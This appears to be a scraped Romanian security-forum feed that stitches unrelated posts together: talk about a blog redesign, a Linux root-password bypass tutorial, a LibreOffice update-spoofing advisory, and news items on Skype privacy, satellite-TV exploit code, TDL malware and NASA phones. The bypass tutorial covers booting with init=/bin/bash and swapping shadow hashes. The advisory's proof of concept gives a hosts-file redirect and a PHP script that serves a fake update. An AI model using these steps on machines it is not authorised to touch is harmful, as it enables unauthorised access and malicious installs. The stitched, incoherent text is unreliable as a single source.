Multumim Gecko, acum si blogul este verde.

Astia carora le apare eroarea, spuneti si ce NU E OK. Vedeti daca sunt fix 20 de topicuri, daca toate au titlu si daca la toate apare categoria si autorul. La care nu apare, spuneti-mi si mie. Ca asa eroarea in sine nu ajuta la nimic.

Pula mea, le-am mai colorat putin, nu ma pricep. Partea cu chat-u se poate pune, doar sa creez iframe la click pe buton, ca daca nu, o sa "se logheze" pe chat, toti care intra pe homepage. Iar cu AJAX-ul e mai nasol, ca unele chestii le iau cu external.php iar ultimele posturi le citesc eu manual din DB. O sa vad ce e de facut, doar ca diseara e meciu, deci probabil pauza "features"

Pentru tema am primit ceva "verde" de la Gecko. Legat de search merge, dar cred ca cel de la vBulletin e cel mai ok.

1. O sa pun fontul mai mic, sa vedem cum iese 2. O sa scot formele patratoase daca arata mai bine rotunjite 3. Verific momentan doar daca daca e bifat "show avatar" nu si daca exista, o sa rezolv, sper 4. Link-urile mai deschise la culoare si toate sa aiba target="_blank" desi posturile/stirile au deja 5. Legat de chat, pare ok, o sa ma uit. 6. Legat de AJAX, eu ma gandisem la ceva elegant, care sa adauge doar posturile noi, nu sa faca un refresh la toate ultimele posturi, ultimele stiri... Dar e o versiune simpla si acceptabila. Tema e asta: WordPress > deCoder De preferat sa ramana tot asa, gradient.

Vreti prea multe Cand am timp o sa mai fac cateva modificari: 1. Font-ul era cam mare, asa mi s-a parut, de aceea am scos linia 2. O sa pun chestiile alea sa nu mai fie asa patratos 3. O sa verific de ce nu merg imaginile de profil la unii utilizatori 4. O sa deschid link-urile la culoare 5. Chatul nu prea vad unde sa il pun, e prea mare el in sine pentru a fi bagat pe acolo Probabil nu o sa fac update "real-time" cu AJAX la topicuri si posturi pentru ca o sa imi ia ceva timp si nu prea am. Legat de BLOG, da, aveam de gand sa il fac din albastru verde insa nu stiu daca o sa imi iasa. Se ofera cineva sa faca blog-ul VERDE?

Encrypt your harddisk.

Reset Linux root password without knowing the password -By Vaibhav Kaushal So there it goes - Linux is a secure OS. No, really it is. Despite the title of this post, Linux is actually a secure system. Before we proceed to the main topic, let us consider a few points: Linux is flexible to a very large extent. Linux's administrator account is called 'root'. Linux systems never deny access to any resource whatsoever to the root account. If there are any restrictions in place, the root can remove those as well. The root account can set and change the password of any user. To change the password of root, you need to first login as root! It is the 5th point where the problem is. Much like in Windows, you would get locked out of the system. But since Linux is not (as pathetic as) Windows, there are ways to work around it. Let us see some of them. Method 1 - Use 'sudo su' In many systems, a normal user which is added to the system is also added to the list of sudoers. These users can gain the power of root account by running a command prepended with the word sudo. So if the person passes sudo passwd root or passes sudo su to first get the root power and then run the passwd command, he or she would be able to reset the root password. Simple. Easy. Effective. But this does not work everywhere Method 2 - recovery mode The sudo su method works on many systems, but not all. It would work on Ubuntu systems most of the time but other distributions like OpenSUSE, Fedora, Sabayon etc. may not be able to use it because they either do not put the normal users in the list of suoders or they want the password of root (not the same normal account) to give root power. On such systems, one can use the recovery console to reset root password. To do so, one can select 'recovery menu' in the boot menu. Normally every Linux distribution that gets installed will install a 'recovery mode' or a 'failsafe mode' boot entry which allows the user to boot into runlevel 1 where only the root can login. The user can then pass the command passwd to reset the password. Method 3 - override the init file! The recovery mode thing cannot work always because many systems (or should I say 'most' systems) will ask for the root password for logging in. Now, since you do not know the root password in the first place, that trick will fail. In such a case, you can try this: In the boot menu, highlight your Linux menu entry (not the one for recovery mode, but for the normal one) and press 'e' key on the keyboard. This will start an editor where you can change the boot parameter. In most new Linux systems, Grub2 comes as the boot loader. In such systems, the boot menu entry would be a bit complicated. So you might get intimidated by what you see at first. Do not worry, search for the line which starts with the word 'linux'. It would look something like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts You have to add this to the end of that line: init=/bin/bash. So the line will start looking like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts init=/bin/bash Now press the F10 button (or whatever is being shown on the screen for the booting) to boot the system. NOTE: If you do not have Grub2, but a lower version of grub then you should search for the line starting with the word 'kernel' instead of 'linux'. Also, you would have to press the 'b' key to boot the entry in that case. When you boot like that, you would be given the root prompt. You can then run the command passwd root to change the root password. The reason why this happens is because normally when a Linux system boots, the kernel is loaded first. After the kernel is loaded, it loads the ramdisk and gets ready for continuing the rest of the booting. Once it is ready, it runs the init command (usually located at /sbin/init) which would run the rest of the system. When you pass init=/bin/bash to the kernel, it will not load /sbin/init file for booting; instead it will load /bin/bash file which starts the bash shell with the root user's power (because the kernel itself called it) and hence that prompt would allow you to change the root user's password. Actually, this prompt had more power than anything else on Linux because it is running with all the privileges of the system! Method 4 - the ultimate method - change the password hash If none of the above works for you then you can take help of another Live Linux CD/DVD to change the root password. This method is long and is a step by step process. You should follow it carefully. Here are the steps (we will consider that the installed system was OpenSUSE and the Live DVD was that of Ubuntu): Boot into the Live Linux system (Ubuntu) using the DVD. Once the system is up, go to the terminal and type 'sudo su'. This will get you to the root user. Now, mount the partition of the disk which contains the /etc directory of the installed system (i.e. the root partition of the OpenSUSE installation on disk). Usually, it would be /dev/sda1 or /dev/sda2 etc. You would know it better. Assuming it was on /dev/sda2, run the command: mkdir /tmpmnt mount /dev/sda2 /tmpmnt Above command will mount your installed system's root partition on /tmpmnt directory of the live system. Now you run the command: 'passwd root'. It will ask for password twice. Enter the password and remember the password well! Open the file /etc/shadow of live system (use vim or nano) and search for the line which begins with the word 'root'. It will look something like this: root:$6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/:15609:::::: Now, the gibberish you see after the first colon is your password hash. Copy that hash. (In this case, the hash is $6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/ Open the /tmpmnt/etc/shadow file and search for the line that begins with 'root'. It will look very much similar to what you saw in step 6. Replace the existing hash in this file (/tmpmnt/etc/shadow) with the one you have copied (from /etc/shadow); i.e. you have to delete the existing text after the first colon in the file /tmpmnt/etc/shadow and paste the copied hash there! Save the file and reboot the system to the installation on the disk. Try to login as root and use the password as what you had used in step 5. You should be able to login! Viola, you have successfully changed the password! The last trick is the master trick of them all.

All such discovered streams are represented using specific color patten based on threat level which makes it easy for human eye to distinguish between suspicious and normal streams. It has built-in Advanced File Type Detection mechanism which examines the content of file to accurately detect the file type of stream. This makes it great tool in Forensic Analysis in uncovering hidden documents/images/audio/video/database/archive files within the alternate data streams. It is fully Portable software which can be directly run anywhere without installing locally. It works on wide range of platforms starting from Windows XP to Windows 8. [TABLE] [TR] [TD=class: page_subheader]What is Alternate Data Stream (ADS) ?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Alternate Data Stream (ADS) is the lesser known feature of Windows NTFS file system which provides the ability to put data into existing files and folders without affecting their functionality and size. Any such stream associated with file/folder is not visible when viewed through conventional utilities such as Windows Explorer or DIR command or any other file browser tools. It is used legitimately by Windows and other applications to store additional information (for example summary information) for the file. Even 'Internet Explorer' adds the stream named 'Zone.Identifier' to every file downloaded from the internet. Due to this hidden nature of ADS, hackers have been exploiting this method to secretly store their Rootkit components on the compromised system without being detected. For example, the infamous Rootkit named 'Mailbot.AZ' aka 'Backdoor.Rustock.A' used to hide its driver file into system32 folder (C:\Windows\system32) as a stream '18467'. In short, ADS provides easy way to store the malicious content covertly as well as execute it directly without making even a bit of noise. Only sophisticated tools such as StreamArmor has the ability to discover and destroy these hidden malicious streams. For complete details on 'Alternate Data Streams' please refer to the following article, 'Exploring Alternate Data Streams' [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Features [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Fast, multi threaded ADS scanner to quickly and recursively scan entire computer or drive or just a folder.

[h=1]Microsoft releases Skype transparency report under pressure from privacy groups[/h]by James Dohnert Microsoft has released details of the number of requests for user data made by law enforcement in 2012. The report comes following calls for transparency from online privacy advocates. According to the report, Microsoft and Skype received more than 75,000 requests for data last year. Redmond says the requests potentially affected 137,424 user accounts. "We are providing information on the criminal law enforcement requests we receive for customer data," wrote Microsoft in a blog post. "Like others in the industry, we believe it is important for the public to have access to information about law enforcement access to customer data, particularly as customers are increasingly using technology to communicate and store private information." Microsoft's transparency report comes following similar releases from the likes of Google and Twitter. Google released its latest report earlier this month, while Twitter launched its data request logs in January. Earlier this, 44 privacy groups pushed Microsoft to disclose information on law enforcement requests for Skype user data. Skype was acquired by Microsoft in 2011. Up until recently the firm did not report law enforcement requests for Skype user data in its transparency report. According to the report, Microsoft disclosed customer content to law enforcement agencies about two percent of the time. The report also shows that the firm disclosed non-content information about 79 percent of the time. Microsoft defines non-content information as basic user data such as last used IP address, customer names, and login names. Content information is considered data such as cloud stored documents and email text. Along with general disclosure data, Microsoft also released information on requests made by National Security Letters (NSLs). The letters are requests for non-content data that does not require a court order. Redmond is only allowed to share ballpark figures for the NSLs disclosures. The report finds that Microsoft received up to 999 NSL requests in 2012. Until recently no information on NSL letters were allowed to be disclosed in transparency reports.

LibreOffice 4.0.1.2 Update Spoofing Authored by Janek Vind aka waraxe | Site waraxe.us LibreOffice version 4.0.1.2 suffers from an update spoofing vulnerability due to not using a secure channel nor digital signatures. [waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2 =============================================================================== Author: Janek Vind "waraxe" Date: 21. March 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-99.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LibreOffice is a free and open source office suite, developed by The Document Foundation. It is descended from OpenOffice.org, from which it was forked in 2010. The LibreOffice suite includes a word processor, spreadsheet, graphics editor, slideshow creator, database and math formula writer. http://www.libreoffice.org/ Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested. ############################################################################### 1. Update Spoofing Vulnerability ############################################################################### It appears, that current version of LibreOffice contains security vulnerability in update mechanism, which can be exploited by malicious people to conduct spoofing attacks. When checking for updates, LibreOffice issues GET request over HTTP: GET /check.php HTTP/1.1 Connection: TE, close TE: trailers Host: update.libreoffice.org Accept-Encoding: gzip Pragma: no-cache Accept-Language: en-US User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89; Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...)

Malicious third party is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response. In this way it is possible to instruct LibreOffice to download malicious update. 2. LibreOffice will execute downloaded update without digital signature verification. Testing: tests were done using Windows 7, Apache and PHP. Steps: 1. modify "windows/system32/drivers/etc/hosts" file in order to emulate DNS spoofing: 127.0.0.1 update.libreoffice.org 2. create php file "check.php" to the webserver main directory: <?php echo '<?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 5.6.7</inst:id> <inst:gitid>123456789</inst:gitid> <inst:os>Windows</inst:os> <inst:arch>x86</inst:arch> <inst:version>5.6.7</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="application/octet-stream" src="http://localhost/notepad.exe" /> </inst:description>'; ?> 3.

[h=2]Privacy 101: Skype Leaks Your Location[/h]The events of the past week reminded me of a privacy topic I’ve been meaning to revisit: That voice-over-IP telephony service Skype constantly exposes your Internet address to the entire world, and that there are now numerous free and commercial tools that can be used to link Skype user account names to numeric Internet addresses. The fact that Skype betrays its users’ online location information is hardly news. For example, The Wall Street Journal and other news outlets warned last year about research showing that it was possible to coax Skype into revealing the IP addresses of individual Skype users. But I believe most Skype users still have no clue about this basic privacy weakness. What’s changed is that over the past year, a number of services have emerged to help snoops and ne’er-do-wells exploit this vulnerability to track and harass others online. For example, an online search for “skype resolver” returns dozens of results that point to services (of variable reliability) that allow users to look up the Internet address of any Skype user, just by supplying the target’s Skype account name. In the above screen shot, we can see one such service being used to display the IP address most recently used by the Skype account “mailen_support” (this particular account belongs to the tech support contact for Mailien, a Russian pharmacy spam affiliate program by the same name). Typically, these Skype resolvers are offered in tandem with “booter” or “stresser” services, online attack tools-for-hire than can be rented to launch denial-of-service attacks (one of these services was used in an attack on this Web site, and on that of Ars Technica last week). The idea being that if you want to knock someone offline but you don’t know their Internet address, you can simply search on Skype to see if they have an account, and then use the resolvers to locate their IP. The resolvers work regardless of any privacy settings the target user may have selected within the Skype program’s configuration panel. Many of these resolver services offer “blacklisting,” which for a fee will allow users to prevent other users from looking up the IP address attached to a specific Skype account, said Brandon Levene, an independent security researcher. “It’s basically a protection scheme,” Levene said. Levene said the Skype resolvers work by using a modified Skype client (5.5 or 5.9) to create a debug log. This client is hosted on a web server. “A simple script is used to construct a link containing a Skype username, which is passed to the modified client,” Levene said. “This client simply attempts to add the requested username to a contact list and parses the target account’s ‘information card’ (if available). This process writes the IP address of the requested username to the debug log, in plain sight.” Beyond exposing one’s Internet connection to annoying and disruptive attacks, this vulnerability could allow stalkers or corporate rivals to track the movement of individuals and executives as they travel between cities and states. Skype was purchased by Microsoft in 2011, but Microsoft appears to have done little to address this privacy weakness, despite the attention brought to it and the proliferation of sites offering tools to exploit it. “We are investigating reports of tools that capture a Skype user’s last known IP address,” a spokesperson for Skype said in an emailed statement. “This is an ongoing, industry-wide issue faced by all peer-to-peer software companies.” The simplest way to address these privacy issues would be to relay all Skype signalling traffic (e.g., handshakes) through proxies, said Stevens Le Blond, a researcher at the Max Planck Institute for Software Systems in Germany. “That would prevent low-resource third parties, such as resolvers, to track Skype users,” Le Blond wrote in an email to KrebsOnSecurity. “However, despite a major infrastructure upgrade last year, Skype is still vulnerable to location tracking. One can only hypothesize as to why that is the case. One possibility is that relaying all signalling traffic would break interoperability with earlier versions of Skype. Defending against more powerful attackers able to eavesdrop on Internet links is much more challenging because it requires to relay both signalling and encrypted payload traffic, Le Blond said. “One challenge is that the maximum Round Trip Time (RTT) that VoIP users can tolerate is around 300 milliseconds (ms) whereas the propagation delay in a fiber optical cable spanning the circumference of the planet is approximately 200ms. It means that when a user in Germany calls another one in Australia, the proxy service must incur less than 100ms additional RTT. My team and I are currently working on this problem.” Update, March 22, 9:45 a.m. ET: Added quotes from Microsoft, Levene and Le Blond.

[sE-2011-01] PoC code for digital SAT TV research released From: Security Explorations <contact () security-explorations com> Date: Thu, 21 Mar 2013 14:30:41 +0100 Hello All, Last year, we disclosed information pertaining to security issues discovered as a result of our digital satellite TV research [1]. It's been over a year and we haven't received [2] information with respect to the status and impact of the vulnerabilities found in: - digital satellite TV set-top-boxes produced by Advanced Digital Broadcast [3], - DVB / MPEG chipsets manufactured by STMicroelectronics [4]. We haven't received important information from Conax AS [5] either. This in particular concerns a final security level assigned by the company to set-top boxes and secure DVB chipsets evaluated as part of Conax security / evaluation process. Conax "rigorous evaluation and testing regime" [6] missed serious security vulnerabilities potentially affecting 540 millions [7] of DVB / MPEG chipsets. Today, a new digital satellite TV platform starts in Poland. It is called NC+ [8] and it is apparently based on equipment / technology coming from several vendors, which were affected by security issues found as part of SE-2011-01 project. We take the above as a perfect opportunity to verify whether these vendors had learned anything from the results of our 1.5 years long research. We assume that they have and that in particular: - all of security issues discovered as part of our SE-2011-01 project have been properly resolved, - new equipment is considerably harder to hack or use for any SAT TV piracy purposes. We decided to release our Proof of Concept code developed as part of SE-2011-01 project [9]. Its source code is is available for download from the following location: Security Explorations - SE-2011-01 - Vendors status We believe that the security community and professionals involved in a development of digital satellite TV ecosystems should benefit the most from the release of our Proof of Concept code.

New TDL Malware Variant Uses Chromium Embedded Framework March 23rd, 2013, 10:46 GMT · By Eduard Kovacs Number of CEF downloads Symantec experts have identified a variant of the notorious TDL malware (also known as TDSS or Tidserv) that relies on the legitimate Chromium Embedded Framework (CEF) to accomplish its malicious tasks. What’s even more curious is that the malware downloads the 50MB framework on each of the infected devices. Since this new version has been launched, the number of CEF downloads has increased considerably, on March 21 reaching almost 25,000 downloads. It’s uncertain if the number of downloads represents the number of malware infections, but this is a likely scenario judging by the graph published by Symantec. The use of CEF, which provides web browser control based on the Google Chromium project, allows cybercriminals to move basic web browser functionalities from the malware’s own modules to the framework’s library. However, the authors of the CEF are not happy with the fact that cybercriminals are using their creation. As such, they’ve removed the binary used by the malware from the Google Code project page. Additional technical details of the new TLD malware are available on Symantec's blog. Sursa: New TDL Malware Variant Uses Chromium Embedded Framework - Softpedia

How NASA got an Android handset ready to go into space Rewiring hardware and software in the Nexus S to make it work on the ISS. by Florence Ion - Mar 23 2013, 6:00pm GTBST Florence Ion It’s what science fiction dreams are made of: brightly colored, sphere-shaped robots that float above the ground, controlled by a tiny computer brain. But it isn't fiction: it’s the SPHERES satellite, and its brain is an Android smartphone. Two and a half years ago, the Human Exploration and Telerobotics Project (HET) equipped a trio of these floating robots with Nexus S handsets running Android Gingerbread. (HET is a project at NASA's Ames Research Center that uses SPHERES, which stands for “Synchronized Position Hold, Engage, Reorient, Experimental Satellites," and that project itself is called SmartSPHERES). Despite their name, these SPHERES aren't traditional satellites—they're currently being used inside the International Space Station (ISS) to investigate applications like telerobotic cameras and high-latency control, and to measure sound and radiation levels. More generally, the Android phones will help HET test out news ways of sensing and modeling the ISS so that robots can eventually become an integral part of the space station's operations. Space exploration is still largely a human-controlled operation, but by equipping each of these self-contained satellites with their own Nexus S, the team has enabled them to navigate autonomously while researchers provide high-level commands from Earth. There are currently two Nexus S smartphones at work in the ISS right now. Hardware upgrades for SPHERES aren't possible without flying completely new equipment up to the ISS, but adopting Android allowed some quick software fixes that would have otherwise been impossible. It took some time and quite a bit of tinkering before the handset was ready to go up in space, however, including some hardware hacking and careful measurements of the accelerometer's accuracy in space. Why the Nexus S? The Nexus S as attached to a SPHERES satellite at NASA Ames. Florence Ion The SPHERES have been in flight since 2006. They were designed by MIT for use on the ISS as an upgradable test bed for formation flight and movement in space, where they use compressed CO2 thrusters. The project had mainly served to try out experimental software, but the needs of the HET SmartSPHERES project soon exceeded the capabilities of the decade-old processor contained inside the satellites. "By connecting a smartphone, we can immediately make SPHERES more intelligent. With the smartphone, the SPHERES will have a built-in camera to take pictures and video, sensors to help conduct inspections, a powerful computing unit to make calculations, and a Wi-Fi connection that we will use to transfer data in real-time to the space station and mission control,” wrote DW Wheeler, lead engineer in the Intelligent Robots Group at NASA Ames. "We knew of other projects that were using the Nexus One, and HTC had done some interesting things in that phone that didn't make it ideal for us,” Mark Micire, research scientist and project lead of the Intelligent Robotics Group, told Ars. “It has to do with [HTC's] battery technology—it has to be a proprietary battery or it won’t boot up.” Micire and the team also figured out that the Nexus S would be much easier to disassemble. “You basically pop it open,” said Micire. “It’s literally six screws on the outside and it comes apart.” Samsung had also separated the circuit boards inside the Nexus S, which made it easier to navigate around the various components featured inside the phone. “We look [at the SPHERES] as a robot that needed a brain, and that’s where Android phones came in.” Cellphone lobotomies Enlarge / Cellphone lobotomies can be tricky things, but in NASA's case it worked. NASA One of the biggest challenges of getting a manufacturer’s proprietary hardware to work with your own is not knowing exactly what’s inside. “When you go with something that already exists, there's a lot of reverse engineering that has to happen,” explained Micire. “Especially in the case of phones: as much as I love our phone manufacturers, they're not always forthcoming about what's actually under the hood.” In this particular case, the Nexus S had to be forced into permanent airplane mode before it could go up into space, but that couldn't involve a software solution. "When you get on an airplane and they tell you that you have to put it into airplane mode because it'll cause interference with the avionics and stuff—same things on ISS, except they require it to be a hardware switch," said Micire. At the time, before the phone had even premiered, iFixit posted its teardown of the Nexus S. Micire and his team were able to essentially use the high-resolution photos on the site to figure out which chip they had to disengage to disable the cellphone capabilities of the phone. They then waited in line on launch day to secure two phones so that they could perform their own “cellphone lobotomies” to physically remove the offending component. “We almost destroyed the first phone, but by the second phone we figured out which chip to pull,” recalled Micire. “It [was the] TXRX amplifier.” From there, all the team had to do was test the phone to prove to the flight safety crew that it wouldn't cause interference on station. It passed. “The phone is none the wiser,” said Micire. “It just thinks it doesn't have cell phone service.” Space only takes AA batteries Enlarge / The battery pack strapped on to the Nexus S. NASA Micire and his team also had to figure out how to power up the phone without using a lithium-ion battery pack. “We were told very early on that getting a lithium-ion battery certified for the station was going to probably be greater than two years,” he explained. But the team had only two years to get this project off the ground. Alkaline batteries had already been approved for space travel because they degrade “more nicely,” as Micire put it. Rather than explode and catch on fire, alkaline batteries will instead leak electrolyte fluid, which is easier to contain. The team on the Intelligent Robotics Group developed a battery pack for the Nexus S that would replace the lithium ion one with six AA batteries. The pack is then wrapped in a felt-like material that is specifically made to absorb any leakage that might occur, and a few Velcro patches are attached to it so that it can stay fixed to the SPHERES. Enlarge / A closer look at the AA battery pack strapped on to the Nexus S. NASA The cellular chip and battery pack weren't the only necessary hardware hacks. If the Nexus One’s glass touchscreen were to shatter in space, the lack of gravity would leave all those broken shards of glass up in the air. It's not bare feet in microgravity the Intelligent Robotics team is trying to protect: it's lungs. Micire explained that the scenario would be hazardous. “Those tiny little shards are just floating within the ISS and now you have astronauts that are just breathing them in." The team figured out that they could use a type of Teflon tape to cover up the chassis of the Nexus S to simultaneously protect the phone and contain any broken pieces from floating about. “You kind of have to take the world that we live in and rework all of the engineering requirements,” Micire reflected. “I never would have thought of broken glass as an inhalant.” Dealing with drivers—and sensors The Nexus S runs an app that records activity on the gyroscope, accelerometer, and 3D compass. Florence Ion As with all types of devices, drivers can be the most finicky part of getting a project up and running. There were a multitude of benefits for the team if it stuck with Android’s Nexus line of phones, the most obvious being that there weren't any setbacks that might come with dealing with customizations performed by OEM manufacturers. “With the Nexus line of phones, you get the full Android open source release source code base—you don’t get that with a lot of the other Android platforms out there,” said Micire. He explained that if it hadn't been for the “pure” Android experience, the team wouldn't have been able to get around some of the driver issues that plague other Android handsets. One of the issues was getting the phone to sync up with the computers in service on the ISS. The ISS currently uses ThinkPad T61p laptops loaded with Windows XP Service Park 3, and when the Nexus S was plugged into the notebooks, Windows asked for a driver disk—a bit of a problem when there is limited time to get official drivers approved. Micire and his team wrote an application that puts the phone into mass-storage mode without a USB cable needing to be plugged into it first. “We figured out the mass storage identified on these phones don’t require a drive—it just works,” said Micire. “Any other phone where we wouldn't have been able to do our own firmware build [would have left us] stuck with the default configuration.” Before the Nexus S was ready to work, the performance of components like the gyroscope, accelerometer, and 3D compass also needed testing to confirm that they worked in microgravity. The team used a data logger application (which is actually available in the Google Play store) to record the data on the sensors and gather measurements. “[by recording] we were able to show that the sensors did behave as we expected; the accelerometer, it turns out, is not a sensor we can use very well on the SPHERES. But the rest of the sensors actually work really well.” What's next? Since the project began in late 2010, it's moved rather quickly despite some of the aforementioned software and hardware hassles. “We went from concept on the back of a napkin to full flight, to delivering our flight units in about six months,” said Micire. “Normally for any major piece of hardware that's going up on station, you're usually talking about a year to two-year process." The team was able to quickly get the project engineered and "fabbed up," as Micire put it, because they leveraged a lot of the stuff that was already built into the phones. The Nexus S handsets made upgrading the “brain” of the SPHERES a less tedious process, not to mention a more affordable one. But despite NASA Ames’ close proximity to Google's headquarters—Moffett Field is only three miles away—the team at the Intelligent Robotics Group has to purchase their own handsets, though sometimes they do receive help when tinkering with Android from their friends at Google. “One of the catalysts for us being able to successfully downselect and use Android as successfully as we have is because Google is just over the fence from us here,” said Micire. “We created very early on this wonderful partnership with folks both inside and outside.” The Intelligent Robotics Group is currently looking at building the next generation of the Smart SPHERES with a couple of Nexus 4 handsets they have managed to secure. Micire mentioned that the Human Exploration Telerobotics project has also fostered a few relationships with different handset manufacturers for future development, though he was not at liberty to say who. In the end, the project was possible due to Android’s usefulness beyond mobile phones. "We made the right decision by going with Android because the ability to remove the lithium battery and have it run off of alkaline batteries I think would have been a lot more difficult with the Apple products... and having it work without a driver under Windows XP," said Micire. Earlier he had mentioned how impressed he was by how Android was being embraced by the embedded developer community: "you just get so much that comes for free with the platform.” Micire later added: “It’s humbling to say that even NASA can’t outrun the advancements that are happening with the mobile phone.” Sursa: How NASA got an Android handset ready to go into space | Ars Technica
